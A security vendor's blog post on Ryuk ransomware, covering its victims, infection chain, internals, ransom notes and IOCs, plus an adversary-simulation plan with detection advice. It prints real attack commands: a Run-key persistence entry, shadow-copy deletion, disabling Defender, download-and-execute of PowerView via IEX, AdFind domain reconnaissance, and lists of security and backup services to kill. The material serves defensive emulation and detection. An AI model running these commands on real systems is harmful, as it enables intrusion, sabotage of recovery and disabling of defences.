Ryuk Ransomware: History, Timeline, and Adversary Simulation

Written by Hardik Manocha
Co-founder @ FourCore
Ryuk Ransomware

Ryuk Ransomware Group

Ryuk is the name of a ransomware family, first introduced in August 2018. Once known as a popular Japanese fictional character, became one of the most vicious ransomware families ever known to humanity, targeting governments, healthcare, education centres, manufacturing and technology organizations. Ryuk ransomware acquired a reputation of being one of the most notorious ransomware within a short span of 15 months, with its terror looming over large organizations. Victims include EMCOR, UHS hospitals, and several newspapers. It was estimated that Ryuk was able to generate a revenue of $61 million for its operators between February 2018 and October 2019.

With its first appearance in August 2018, Ryuk gained attention by targeting the operations of Tribune Publishing newspapers during the Christmas season of 2018. Initially, what looked like a server outage was the outcome of a targeted malware attack, with Ryuk reinfecting the network because the security patches failed to contain the malware post quarantine. The primary motive of this ransomware variant is to ensure maximum target file encryption to hold a massive amount at ransom. Additionally, Ryuk can identify and encrypt network drivers and includes system shadow copies, making it impossible to recover from an attack without external backups or rollback technology.

This blog will entail the complete attack flow of the Ryuk ransomware group, allowing security practitioners to test their cybersecurity posture against the full range of techniques and procedures that Ryuk used. The techniques and procedures covered in this blog are aggregated from various sources and reports compiled to provide the reader with a good overview of the Ryuk TTPs.

Ryuk Over Time

Below you will find a brief timeline of incidents involving the Ryuk ransomware group[6]:

  • December 2018 – Tribune Publishing attack
  • March 2019 – Jackson County's infrastructure was attacked. Damages: $400,000 (22 BTC).
  • April 2019 – Imperial County’s IT infrastructure gets hit by Ryuk. The attackers demanded $1.2 million (65 BTC). Victims refused to pay.
  • June 2019 – Lake City systems locked by ransomware. Victims had to pay $460,000 (25 BTC) to regain control over their systems.
  • July 2019 – La Porte County, the Ryuk ransomware hit public institutions. Victims had to pay $130,000 (7 BTC).
  • August 2019 – Rockville Centre school district affected by Ryuk. The municipality had to pay $100,000 (5 BTC) to regain control.
  • October 2019 – Ryuk creators take down a hospital chain administrated by the National Veterinary Associates. Over 400 clinics experienced downtimes in payment systems and patient curation systems.
  • November 2019 – Ryuk operators launch attacks against several HVTs: Louisiana Office of Technology Services, Prosegur (i.e. Spanish security company), Cadena SER (the largest radio station in Spain), and T-System (E2E healthcare and emergency solutions providers).
  • January 2020 – Ryuk operators attacked gas and oil facilities. In addition, the same operators were found to be involved in several other incidents targeting healthcare providers.
  • September 2020 – Universal Health Services (UHS) healthcare providers have reportedly shut down systems at healthcare facilities after a Ryuk ransomware attack. The incident resulted in about $67 million in lost operating income, labour expenses, and overall recovery costs.
  • January 2021 – A new version with “worm-like” capabilities was identified. The new Ryuk variant can spread automatically/without intervention through infected networks.
  • March 2021 – Ryuk targeted the systems of SEPE, the Spanish government agency for labour. The systems were taken down following a ransomware attack that affected more than 700 agency offices across Spain.
  • April 2021 – New Ryuk hacking techniques were revealed. The threat actors' favourite initial infection vector continues to be the targeted phishing emails for malware delivery.
  • May 2021 – Ryuk ransomware infects Bio Research Institute after a student installs pirated software. The attack occurred because the student didn’t want to pay for a license, causing a week’s research data.

Moving forward, the Ryuk Infection chain and attack flow **already part of the FourCore ATTACK Security Validation Platform will enable security practitioners to:

  • Evaluate their security controls against the real-world tactics provinding the significance of its real-world impact.
  • Assess the security posture against the tactics, techniques and procedures (TTPs) used by the WIZARD Group's Ryuk variant
  • Continuously validate detection and prevention pipelines against the destructive actions this ransomware performs

Threat Intel: Ryuk

The next part of this blog will cover the Ryuk infection chain and the public reports available:

Ryuk Ransomware Infection Chain

The operators behind the Ryuk ransomware take a targeted approach to select and infect their victims. Rather than attempting to infect many computers and asking a relatively small ransom (like WannaCry), campaigns using the Ryuk ransomware focus on a single organization and have an extremely high asking price for data recovery. Ryuk is a ransomware which encrypts its victim's files and asks for a ransom via bitcoin to release the original files. It has been observed to be used to attack companies or professional environments. Cybersecurity experts figured out that Ryuk and Hermes ransomware shares pieces of code.

Ryuk Ransomware
Ryuk's Latest Attack Timeline (source: thedfirreport.com/2020/10/08/ryuks-return/)

Ryuk Ransomware Attack Mechanism

The table shown below covers the MITRE ATT&CK tactics, techniques, and procedures used in the Ryuk's attack cycle:

Ryuk Ransomware
Ryuk Actions mapped to Mitre ATT&CK

Ryuk has been known to be a part of a more significant "Triple Threat" attack that involves Emotet and TrickBot.


  • Ryuk is spread via very targeted means. These include using tailored spear phishing emails and exploiting compromised credentials to remotely access systems via the Remote Desktop Protocol (RDP).
  • The delivery method for Ryuk is through spam emails like various other malware attacks, often sent through spoofed addresses, to avoid raising suspicion.
  • A spearphishing email may carry Ryuk directly or be the first in a series of malware infections. For example, Emotet, TrickBot, and Ryuk are common combinations.
  • The attack chain begins when the user opens a weaponized Microsoft Office document attached to a phishing email.
  • Opening the document causes a malicious macro to execute a PowerShell command that attempts to download the banking Trojan Emotet.
  • With RDP, a cybercriminal can install and execute Ryuk directly on the target machine or leverage their access to reach and infect other, more valuable systems on the network.


  • This Emotet Trojan can download additional malware onto an infected machine that retrieves and executes Trickbot, which acts as spyware.


  • This Trickbot spyware collects admin credentials, browser passwords, credit cards, network discovery, and other intel.

Lateral Movement:

  • Attackers use the data collected in the previous stage to move to critical assets connected to the network laterally. The attack chain concludes when the attackers execute Ryuk on these assets. This step entirely depends on whether the infection has spread to enough assets to inflict maximum impact to get enough leverage to demand a large sum. Thus, it becomes the deciding factor for whether the Ryuk ransomware should be deployed.


  • Ryuk uses a combination of encryption algorithms, including a symmetric algorithm (AES-256) and an asymmetric one (RSA 4096). The ransomware encrypts a file with the symmetric algorithm and includes a copy of the symmetric encryption key encrypted with the RSA public key.
  • Ryuk deliberately avoids encrypting certain file types (including .exe and .dll) and files in specific folders on the system. Thus decreasing the probability that Ryuk will break an infected computer, making file retrieval more difficult or impossible even if a ransom is paid.


  • Upon payment of the ransom, the Ryuk operator provides:
    • A copy of the corresponding RSA private key.
    • Enabling decryption of the symmetric encryption key and.
    • Using it.
    • The encrypted files.

Ransom Note:

Being notoriously known to be one of the most expensive ransomware variants, with average ransom demands reaching higher than $100,000 USD.

Ryuk ransom notes contain an email address where victims can communicate with the ransomware operators to receive instructions on how to pay the ransom. However, this should be noted that there is no guarantee even if you submit the ransom. In most of the observed cases, the ransomware operators will take the ransom without returning access to the files. Paying a ransom demand should result in the cybercriminal sending a decryptor/decryption key.

1Your network has been penetrated.
3All files on each host in the network have been encrypted with a strong algorithm.
5Backups were either encrypted
6Shadow copies are also removed, so F8 or any other methods may damage encrypted data but not recover.
8We exclusively have decryption software for your situation.
9More than a year ago, world experts recognized the impossibility of deciphering by any means except the original decoder.
11No decryption software is available in the public.
12Antivirus companies, researchers, IT specialists, and no other persons cant help you
13encrypt the data.
15DO NOT RESET OR SHUTDOWN - files may be damaged.
16DO NOT DELETE readme files.
18To confirm our honest intentions. Send 2 different random files, and you will get it
21It can be from different computers on your network to be sure that one key decrypts everything.
232 files we unlock for free
25To get info (decrypt your files) contact us at
30You will receive BTC address for payment in the reply letter
34No system is safe

Ransom Payment:

The ransom demand varies significantly based on observed transactions to known Ryuk BTC addresses. This suggests that WIZARD SPIDER calculates the ransom amount based on the size and value of the victim organization. From the early data available, the observed ransom amount resided between 1.7-99 BTC.

1Your network has been penetrated.
3All files on each host in the network have been encrypted with a strong algorithm.
4Backups were either encrypted or deleted or backup disks were formatted.
6Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover.
8We exclusively have decryption software for your situation
9No decryption software is available in the public.
11DO NOT RESET OR SHUTDOWN - files may be damaged.
12DO NOT RENAME OR MOVE the encrypted and readme files.
13DO NOT DELETE readme files.
14This may lead to the impossibility of recovery of the certain files.
16To get info (decrypt your files) contact us at
21BTC wallet:
25No system is safe

RYUK - Balance of shadow universe

Ryuk Ransomware: Analysis in Depth

Ryuk Ransomware
Ryuk Infection Chain

Malware Dropper and its shenanigans

The dropper is loaded onto the victim's machine via a PowerShell, C2C retrieval. Once the dropper lands on the target asset, it will check the MajorVersion property to determine the target operating system. If MajorVersion is equal to 5, then the dropper will place the ransomware executable into the C:\Documents and Setting\Default User folder. That's the default ransomware download file for Windows Server 2003, XP, and Windows 2000. Otherwise, it drops it at C:\users\Public\. In case of a lookup/file creation failure, the dropper drops Ryuk malware in the execution directory of the dropper itself. The name of the dropped executable is five randomly generated characters.

Next, it determines the target system's architecture by calling the IsWow64Process() API.

Before the dropper exits, it launches the second stage executor using the ShellExecuteW API and passes its path as a command line argument, deleting the dropper binary.


Ryuk uses the Windows Registry to ensure post-reboot execution by adding an entry to the key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchos and value set to the executable path: C:\users\Public\BPWPc.exe. The instruction is /v "svchos"/t REG_SZ/d allows the malware to run after every login.

1C:\Windows\System32\cmd.exe /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\users\Public\BPWPc.exe" /f

Privilege Escalation

Ryuk obtains further permissions by modifying the SeDebugPrivilege argument of the AdjustTokenPrivileges() API to adjust its process security access token. According to MSDN, SeDebugPrivilege is required to debug and modify the memory of a process owned by another account. The user can attach a debugger to any process or kernel with this privilege.

Process Enumeration and Code Injection

Ryuk tries to enumerate all the running processes using the CreateToolHelp32Snapshot API and identifies the user associated with each process (regular user/administrator/NT AUTHORITY).

This step is essential to identify the target process for injection. The code injection mechanism will ignore any system process named crsss.exe, lsaas.exe, explorer.exe, or anything running as NT AUTHORITY.

Ryuk allocates memory for its process at the target process memory space using VirtualAllocEx(), then copies and maps the packed code section into the target process's allocated virtual memory using WriteProcessMemory() API. Finally, it creates a new thread using CreateRemoteThread() to run Ryuk's thread in the injected process.

Dynamic Import Address Resolution

It is a commonly known practice that a static binary with many imports can look malicious from the EDRs PoV. Therefore, most malware authors resolve their function imports dynamically using LoadLibraryA() and GetProcAdress() APIs.

Here is the complete list of all the APIs post-resolution:

2    CryptAcquireContextW
3    CryptDecrypt
4    CryptDeriveKey
5    CryptDestroyKey
6    CryptEncrypt
7    CryptExportKey
8    CryptGenKey
9    CryptImportKey
10    GetUserNameA
11    GetUserNameW
12    RegCloseKey
13    RegDeleteValueW
14    RegOpenKeyExA
15    RegOpenKeyExW
16    RegQueryValueExA
17    RegSetValueExW
19    CloseHandle
20    CopyFileA
21    CopyFileW
22    CreateDirectoryW
23    CreateFileA
24    CreateFileW
25    CreateProcessA
26    CreateProcessW
27    DeleteFileW
28    ExitProcess
29    FindClose
30    FindFirstFileW
31    FindNextFileW
32    FreeLibrary
33    GetCommandLineW
34    GetCurrentProcess
35    GetDriveTypeW
36    GetFileAttributesA
37    GetFileAttributesW
38    GetFileSize
39    GetLogicalDrives
40    GetModuleFileNameA
41    GetModuleFileNameW
42    GetModuleHandleA
43    GetStartupInfoW
44    GetTickCount
45    GetVersionExW
46    GetWindowsDirectoryW
47    GlobalAlloc
48    LoadLibraryA
49    ReadFile
50    SetFileAttributesA
51    SetFileAttributesW
52    SetFilePointer
53    Sleep
54    VirtualAlloc
55    VirtualFree
56    WinExec
57    Wow64DisableWow64FsRedirection
58    Wow64RevertWow64FsRedirection
59    WriteFile
61    CoCreateInstance
62    CoInitialize
64    ShellExecuteA
65    ShellExecuteW
67    WNetCloseEnum
68    WNetEnumResourceW
69    WNetOpenEnumW
71    GetIpNetTable

Hunting Processes and Services:

Ryuk ransomware will kill or put to sleep up to 180 system and AV-related services and up to 40 processes. The services and processes are killed using the net stop and taskkill /IM commands.

Targetted Services:

1   Acronis VSS Provider
2   Enterprise Client Service
3   Sophos Agent
4   Sophos AutoUpdate Service
5   Sophos Clean Service
6   Sophos Device Control Service
7   Sophos File Scanner Service
8   Sophos Health Service
9   Sophos MCS Agent
10   Sophos MCS Client
11   Sophos Message Router
12   Sophos Safestore Service
13   Sophos System Protection Service
14   Sophos Web Control Service
15   SQLsafe Backup Service
16   SQLsafe Filter Service
17   Symantec System Recovery
18   Veeam Backup Catalog Data Service
19   AcronisAgent
20   AcrSch2Svc
21   Antivirus
22   ARSM
23   BackupExecAgentAccelerator
24   BackupExecAgentBrowser
25   BackupExecDeviceMediaService
26   BackupExecJobEngine
27   BackupExecManagementService
28   BackupExecRPCService
29   BackupExecVSSProvider
30   bedbg
31   DCAgent
32   EPSecurityService
33   EPUpdateService
34   EraserSvc11710
35   EsgShKernel
36   FA_Scheduler
37   IISAdmin
38   IMAP4Svc
39   macmnsvc
40   masvc
41   MBAMService
42   MBEndpointAgent
43   McAfeeEngineService
44   McAfeeFramework
45   McAfeeFrameworkMcAfeeFramework
46   McShield
47   McTaskManager
48   mfemms
49   mfevtp
50   MMS
51   mozyprobackup
52   MsDtsServer
53   MsDtsServer100
54   MsDtsServer110
55   MSExchangeES
56   MSExchangeIS
57   MSExchangeMGMT
58   MSExchangeMTA
59   MSExchangeSA
60   MSExchangeSRS
61   MSOLAP$SQL_2008
72   MSSQL$SQL_2008
78   MSSQLFDLauncher
82   MSSQLFDLauncher$SQL_2008
84   MSSQLFDLauncher$TPS
87   MSSQLServerADHelper100
88   MSSQLServerOLAPService
89   MySQL80
90   MySQL57
91   ntrtscan
92   OracleClientCache80
93   PDVFSService
94   POP3Svc
95   ReportServer
96   ReportServer$SQL_2008
97   ReportServer$SYSTEM_BGC
98   ReportServer$TPS
99   ReportServer$TPSAMA
100   RESvc
101   sacsvr
102   SamSs
103   SAVAdminService
104   SAVService
105   SDRSVC
106   SepMasterService
107   ShMonitor
108   Smcinst
109   SmcService
110   SMTPSvc
111   SNAC
112   SntpService
113   sophossps
115   SQLAgent$ECWDB2
121   SQLAgent$SQL_2008
123   SQLAgent$TPS
124   SQLAgent$TPSAMA
125   SQLAgent$VEEAMSQL2008R2
126   SQLAgent$VEEAMSQL2012
127   SQLBrowser
128   SQLSafeOLRService
132   SQLWriter
133   SstpSvc
134   svcGenericHost
135   swi_filter
136   swi_service
137   swi_update_64
138   TmCCSF
139   tmlisten
140   TrueKey
141   TrueKeyScheduler
142   TrueKeyServiceHelper
143   UI0Detect
144   VeeamBackupSvc
145   VeeamBrokerSvc
146   VeeamCatalogSvc
147   VeeamCloudSvc
148   VeeamDeploymentService
149   VeeamDeploySvc
150   VeeamEnterpriseManagerSvc
151   VeeamMountSvc
152   VeeamNFSSvc
153   VeeamRESTSvc
154   VeeamTransportSvc
155   W3Svc
156   wbengine
157   WRSVC
159   SQLAgent$VEEAMSQL2008R2
160   VeeamHvIntegrationSvc
161   swi_update
162   SQLAgent$CXDB
164   SQL Backups
166   Zoolz 2 Service
167   MSSQLServerADHelper
168   SQLAgent$PROD
169   msftesql$PROD
170   NetMsmqActivator
171   EhttpSrv
172   ekrn
175   SQLAgent$SOPHOS
176   AVP
177   klnagent
180   wbengine
181   kavfsslp
183   KAVFS
184   mfefire

Targetted Processes:

1    zoolz.exe
2    agntsvc.exe
3    dbeng50.exe
4    dbsnmp.exe
5    encsvc.exe
6    excel.exe
7    firefoxconfig.exe
8    infopath.exe
9    isqlplussvc.exe
10    msaccess.exe
11    msftesql.exe
12    mspub.exe
13    mydesktopqos.exe
14    mydesktopservice.exe
15    mysqld.exe
16    mysqld-nt.exe
17    mysqld-opt.exe
18    ocautoupds.exe
19    ocomm.exe
20    ocssd.exe
21    onenote.exe
22    oracle.exe
23    outlook.exe
24    powerpnt.exe
25    sqbcoreservice.exe
26    sqlagent.exe
27    sqlbrowser.exe
28    sqlservr.exe
29    sqlwriter.exe
30    steam.exe
31    synctime.exe
32    tbirdconfig.exe
33    thebat.exe
34    thebat64.exe
35    thunderbird.exe
36    visio.exe
37    winword.exe
38    wordpad.exe
39    xfssvccon.exe
40    tmlisten.exe
41    PccNTMon.exe
42    CNTAoSMgr.exe
43    Ntrtscan.exe
44    mbamtray.exe

Shadow Copy Deletion

Ryuk runs a batch script in C:\Users\Public\window.bat, which deletes all shadow copies and possible backups, and then deletes itself. The operations include:

  • Using the vssadmin resize to resize the shadow storage
  • vssadmin Delete Shadow /all /quiet

vssadmin resize is unique; in the case of any third-party backup provider, vssadmin can display an error while trying to delete the backups indicating the presence of these backups outside the allowed context. Ryuk uses the above command, tasking vssadmin to delete storage when the shadow copies are resized. It forces the shadow copies to be deleted regardless of their context.

The del /s /q command deletes various files based on their extension and folder locations. Extensions include:- .vhd, .bac, .bak, .wbcat, .bfk, .set, .win, .dsk and any folder with a prefix "Backup" in it.


While the goal of Ryuk is to make the most money, Ryuk does not have many safeguards to ensure the stability of the host while encrypting the target system files. Ryuk avoids encrypting files with extensions .exe, .dll, .hrmlog (a debug log made by the Hermes Developer - plug: there are many similarities between Hermes and Ryuk, check references for more). While safe listing the above extensions, there is no provision to whitelist system drivers (.sys), OLE control extension (.ocx) and other executable file types. Encrypting these files could make the host unstable. Due to the absence of proper whitelisting, an infected machine can become unstable over time and unbootable if restarted.

Ryuk uses a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Without the private key provided by WIZARD SPIDER, the files cannot be decrypted and are unrecoverable. It starts enumerating files using FindFirstFileW() and FindNextFileW() then it passes each file name to a new encryption thread. Each encryption thread starts by generating a random 256 AES encryption key using CryptGenKey(). Unlike modern Go malware, Ryuk utilizes the Windows Crypto API for the encryption process. Then, it goes into the typical encryption loop, and the files are encrypted in chunks with a chunk size of 1000000 bytes. Finally, Ryuk writes a metadata block of size 274 bytes* at the end of the file. The first *6 bytes* are the keyword HERMES. Finally, the AES key is encrypted with an RSA public key before it's written to the end of the file and then exported using CryptExportKey(); this function generates 12 bytes of Blob information + 256 bytes (the encrypted key). The RSA public key is embedded in the executable. It's imported using CryptImportKey() and passed to every encryption thread. After the file has been encrypted, a file extension of .RYK is appended to the file. All directories will have a ransom note RyukReadMe.txt written to the directory.

Ryuk is one of the few ransomware which enumerates and encrypts network shares. It performs this operation by enumerates network shares using WNetOpenEnumW() and WNetEnumResourceA() respectively. For each network resource found, the drive path will get appended to a list separated by a semicolon. This list will be used later to encrypt these network shares with the same encryption process above.

Ryuk Ransomware - Sandbox Execution and Report

powered by ANY.RUN

Analysis Report for the above execution present here.



  • Ryuk (second-stage): 8b0a5fb13309623c3518473551cb1f55d38d8450129d4a3c16b476f7b2867d7
  • Dropper: 23f8aa94ffb3c08a62735fe7fee5799880a8f322ce1d55ec49a13a3f85312db2
  • MD5 Hashes:



Emails (primarily random):


Files: Ryuk drops the ransom note, RyukReadMe.html or RyukReadMe.txt, in every folder where it has encrypted files.

Ryuk Adversary Simulation Plan

Based on the aggregated threat intelligence reports and mapping to the MITRE ATT&CK matrix, FourCore has released a Ryuk Ransomware Adversary Simulation Assessment. While the payloads used by the ATTACK platform are complex, dynamic, and native, for ease of this assessment, we will be providing Cmd/Powershell commands to execute similar behaviour.

Ryuk Ransomware
Ryuk Ransomware Assessment with FourCore ATTACK


  1. T1059 - Command and Scripting Interpreter Ryuk has used cmd.exe to create a Registry entry to establish persistence and create directory for Ryuk AD scan.

    1`cmd /c mkdir %TEMP%\ryuk` 
  2. T1059.001 - PowerShell Ryuk uses powershell to configure the Microsoft Defender Real-Time scanning. It also uses to compress files into archives.

    1`powershell Set-MpPreference -DisableRealtimeMonitoring $false`, `powershell "Compress-Archive $env:TEMP\ryuk\ryuk_adf $env:TEMP\ryuk\ryuk_adf.zip"` 
  3. T1059.003 - Windows Command Shell Ryuk has used cmd.exe to create a Registry entry to establish persistence.

  4. T1053 - Scheduled Task/Job Ryuk can remotely create a scheduled task to execute itself on a system.

    1`cmd /c SCHTASKS /QUERY /TN "RyukAttack"`
  5. T1053.005 - Scheduled Task/Job: Scheduled Task Ryuk can remotely create a scheduled task to execute itself on a system.

    1`cmd /c SCHTASKS /CREATE /SC DAILY /TN "RyukAttack" /TR "C:\Windows\System32\calc.exe" /ST 11:00 /F`
  6. T1106 - Native API Ryuk has used multiple native APIs including ShellExecuteW to run executables,GetWindowsDirectoryW to create folders, and VirtualAlloc, WriteProcessMemory, and CreateRemoteThread for process injection.[1]


  1. T1547.001 - Registry Run Keys / Startup Folder Ryuk has used the Windows command line to create a Registry entry under HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to establish persistence.

Privilege Escalation

  1. T1055 - Process Injection Ryuk has injected itself into remote processes to encrypt files using a combination of VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.

  2. T1134 - Access Token Manipulation Ryuk has attempted to adjust its token privileges to have the SeDebugPrivilege.

Defense Evasion

  1. T1140 - Deobfuscate/Decode Files or Information Ryuk uncompresses the dowloaded archive in a temporary directory.

    1`cmd /c powershell -Command Expand-Archive "$env:TEMP\ryuk\AdFind.zip" -DestinationPath "$env:TEMP\ryuk\"`
  2. T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification Ryuk can launch icacls /grant Everyone:F /T /C /Q to delete every access-based restrictions on files and directories.

  3. T1562.001 - Impair Defenses: Disable or Modify Tools Ryuk has stopped services related to anti-virus. Ryuk used encoded powershell command to disable Microsoft Windows Defender Service. (Set-MpPreference -DisableRealtimeMonitoring $true)

  4. T1036 - Masquerading Ryuk can create .dll files that actually contain a Rich Text File format document.

  5. T1036.005 - Match Legitimate Name or Location Ryuk has constructed legitimate appearing installation folder paths by calling GetWindowsDirectoryW and then inserting a null byte at the fourth character of the path. For Windows Vista or higher, the path would appear as C:\Users\Public.

  6. T1027 - Obfuscated Files or Information Ryuk can use anti-disassembly and code transformation obfuscation techniques.

  7. T1205 - Traffic Signaling Ryuk has used Wake-on-Lan to power on turned off systems for lateral movement.


  1. T1018 - Remote System Discovery Ryuk uses cmd.exe and powershell.exe to discover remote systems.

    1cmd /c "net view /all"
    2cmd /c "net view /all /domain"
    3powershell.exe -exec bypass -Command "&{[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-NetSubnet; Get-NetComputer}"
  2. T1057 - Process Discovery Ryuk has called CreateToolhelp32Snapshot to enumerate all running processes.

    1`cmd /c tasklist`
  3. T1082 - System Information Discovery Ryuk has called GetLogicalDrives to emumerate all mounted drives, and GetDriveTypeW to determine the drive type.

    1cmd /c sysinfo
    2curl https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -o $env:Temp\ryuk\pv.ps1
    3Import-Module $env:Temp\ryuk\pv.ps1
    8net config workstation
  4. T1083 - File and Directory Discovery Ryuk has enumerated files and folders on all mounted drives.

  5. T1087 - Account Discovery Ryuk may attempt to get a listing of accounts on a system or within an environment.

    1`cmd /c net group "Enterprise Admins" /domain"`
  6. T1087.002 - Domain Account Ryuk has the ability to identify domain administrator accounts.

    1`cmd /c net group "Domain Admins" /do`
  7. T1482 - Domain Trust Discovery Ryuk use Nltest tools to obtain information about the domain.

    1`cmd /c nltest /domain_trusts > %USERPROFILE%\Desktop\ryuk\ryuk_adf\ad_trustdmp.txt`, `cmd /c nltest /dclist:`
  8. T1614.001 - System Location Discovery: System Language Discovery Ryuk has been observed to query the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language and the value InstallLanguage. If the machine has the value 0x419 (Russian), 0x422 (Ukrainian), or 0x423 (Belarusian), it stops execution.

  9. T1016 - System Network Configuration Discovery Ryuk has called GetIpNetTable in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries.

  10. T1518 - Software Discovery Ryuk can query the registry to get the list of software installed.

    1Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
    2Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
  11. T1518.001 - Security Software Discovery Ryuk can query the CIM instance for the SecurityCenterv2 namespace to query the installed antivirus product name.

    1`Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct`

Command and Control

  1. T1071 - Application Layer Protocol Ryuk may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic.

  2. T1105 - Ingress Tool Transfer Ryuk transfers a batch script designed to kill a list of processes and services as mentioned above. Ryuk uses adfind.exe to query active directory.

    1curl https://www.joeware.net/downloads/files/AdFind.zip -o $env:TEMP\ryuk\af.zip
    2Expand-Archive $env:TEMP\ryuk\af.zip -DestinationPath $env:TEMP\ryuk\af
    4cd $env:TEMP\ryuk\af
    5.\AdFind.exe -f "(objectcategory=person)" > $env:TEMP\ryuk\af\ad_users.txt
    6.\AdFind.exe -f "objectcategory=computer" >$env:TEMP\ryuk\af\ad_computers.txt
    7.\AdFind.exe -sc trustdmp > $env:TEMP\ryuk\af\trustdmp.txt
    8.\AdFind.exe -subnets -f (objectCategory=subnet)> $env:TEMP\ryuk\af\subnets.txt
    9.\AdFind.exe -gcb -sc trustdmp > $env:TEMP\ryuk\af\trustdmp.txt
    10.\AdFind.exe -sc domainlist > $env:TEMP\ryuk\af\domainlist.txt
    11.\AdFind.exe -sc dcmodes > $env:TEMP\ryuk\af\dcmodes.txt
    12.\AdFind.exe -sc adinfo > $env:TEMP\ryuk\af\adinfo.txt
    13.\AdFind.exe -sc dclist > $env:TEMP\ryuk\af\dclist.txt
    14.\AdFind.exe -sc computers_pwdnotreqd > $env:TEMP\ryuk\af\computer_pwdnotereqd.txt
    16    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    17    IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
  3. T1573 - Encrypted Channel Ryuk may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.


  1. T1074 - Data Staged Ryuk may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data.

    1 `powershell "Compress-Archive $env:TEMP\ryuk\ryuk_adf $env:TEMP\ryuk\ryuk_adf.zip"`

Lateral Movement

  1. T1021.002 - Remote Services: SMB/Windows Admin Shares Ryuk has used the C$ network share for lateral movement.

  2. T1078.002 - Valid Accounts: Domain Accounts Ryuk can use stolen domain admin accounts to move laterally within a victim domain.

  3. T1078.003 - Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.

    1[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    2IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing);


  1. T1041 - Exfiltration Over C2 Channel

    1type %TEMP%\ryuk\af\ad_users.txt
    2type %TEMP%\ryuk\af\ad_computers.txt
    3type %TEMP%\ryuk\af\trustdmp.txt
    4type %TEMP%\ryuk\af\subnets.txt
    5type %TEMP%\ryuk\af\trustdmp.txt
    6type %TEMP%\ryuk\af\domainlist.txt
    7type %TEMP%\ryuk\af\dcmodes.txt
    8type %TEMP%\ryuk\af\adinfo.txt
    9type %TEMP%\ryuk\af\dclist.txt
    10type %TEMP%\ryuk\af\computer_pwdnotereqd.txt
    11type %TEMP%\ryuk\af\ad_trustdmp.txt


  1. T1486 - Data Encrypted for Impact Ryuk has used a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Files have been encrypted with their own AES key and given a file extension of .RYK. Encrypted directories have had a ransom note of RyukReadMe.txt written to the directory.

  2. T1490 - Inhibit System Recovery Ryuk has used vssadmin Delete Shadows /all /quiet to to delete volume shadow copies and vssadmin resize shadowstorage to force deletion of shadow copies created by third-party applications.

  3. T1489 - Service Stop Ryuk has called kill.bat for stopping services, disabling services and killing processes.

Detection and Mitigation Opportunities

Falling victim to a Ryuk ransomware attack is exceptionally costly to an organisation. The operators of the Ryuk ransomware put effort into developing a targeted spear phishing lure, and they demand a high ransom for their trouble. However, sometimes, even paying the ransom is not enough to regain a company's access to sensitive or valuable data.

For this reason, it is far better to prevent a ransomware attack rather than react to it. Therefore, it is essential to detect the attack at the beginning of the cycle; if your security controls can detect the Ryuk malware before encryption begins, the incident can be mitigated without harming the organisation. This brings in the need for a continuous assessment of your organisation's security posture to ensure that your security controls are tuned well and prevent such impactful actions from executing.

Across the threat analysis of Ryuk, we see commonalities regarding IOCs and TTPs and explicit commands and actions used by this current version of the ransomware attack. The commands, paired with the detailed account of compromise timelines, allow defenders some great insights into building up their defences against Ryuk.

The bunch of suspicious commands a regular user would never execute include the use of cmd.exe and PowerShell.exe to run commands like -

  • net view
  • net group
  • nltest
  • -EncodedCommand flag
  • adfind.exe
  • powerview.ps1

The behaviours and TTPs discussed in this article should be logged and flagged. Ryuk targets a variety of services, few of which are specific to a third party; therefore, even alerting on services such as Sophos Agent or Veeam Backup going offline unexpectedly across your environment provides a vital IOC for Ryuk.

Finally, as with any ransomwares the ability to alert on massive and sweeping file creation, deletion, and encryption is exceptionally insightful to an organisation as it permits defenders to fine-tune their alerts.

It is recommended that only administrators and end users with specific needs be able to run administrative tools such as cmd, PowerShell, net, wmic, systeminfo, arp, or route. Limiting these tools to only authorised users reduces the chance of a compromised end user being able to enumerate system and environmental settings.

Additionally, from a detection PoV, we can implement various rules for alerts:

  • Using splunk to detect Ryuk Ransomware: https://www.splunk.com/en_us/blog/security/detecting-ryuk-using-splunk-attack-range.html

  • Here's a Yara rule submitted by Marc Elias and Christian Beek of the McAfee ATR Team

    1    rule Ryuk_Ransomware {
    3    meta:
    5        description = "Ryuk Ransomware hunting rule"
    6        author = "Christiaan Beek - McAfee ATR team"
    7        date = "2019-04-25"
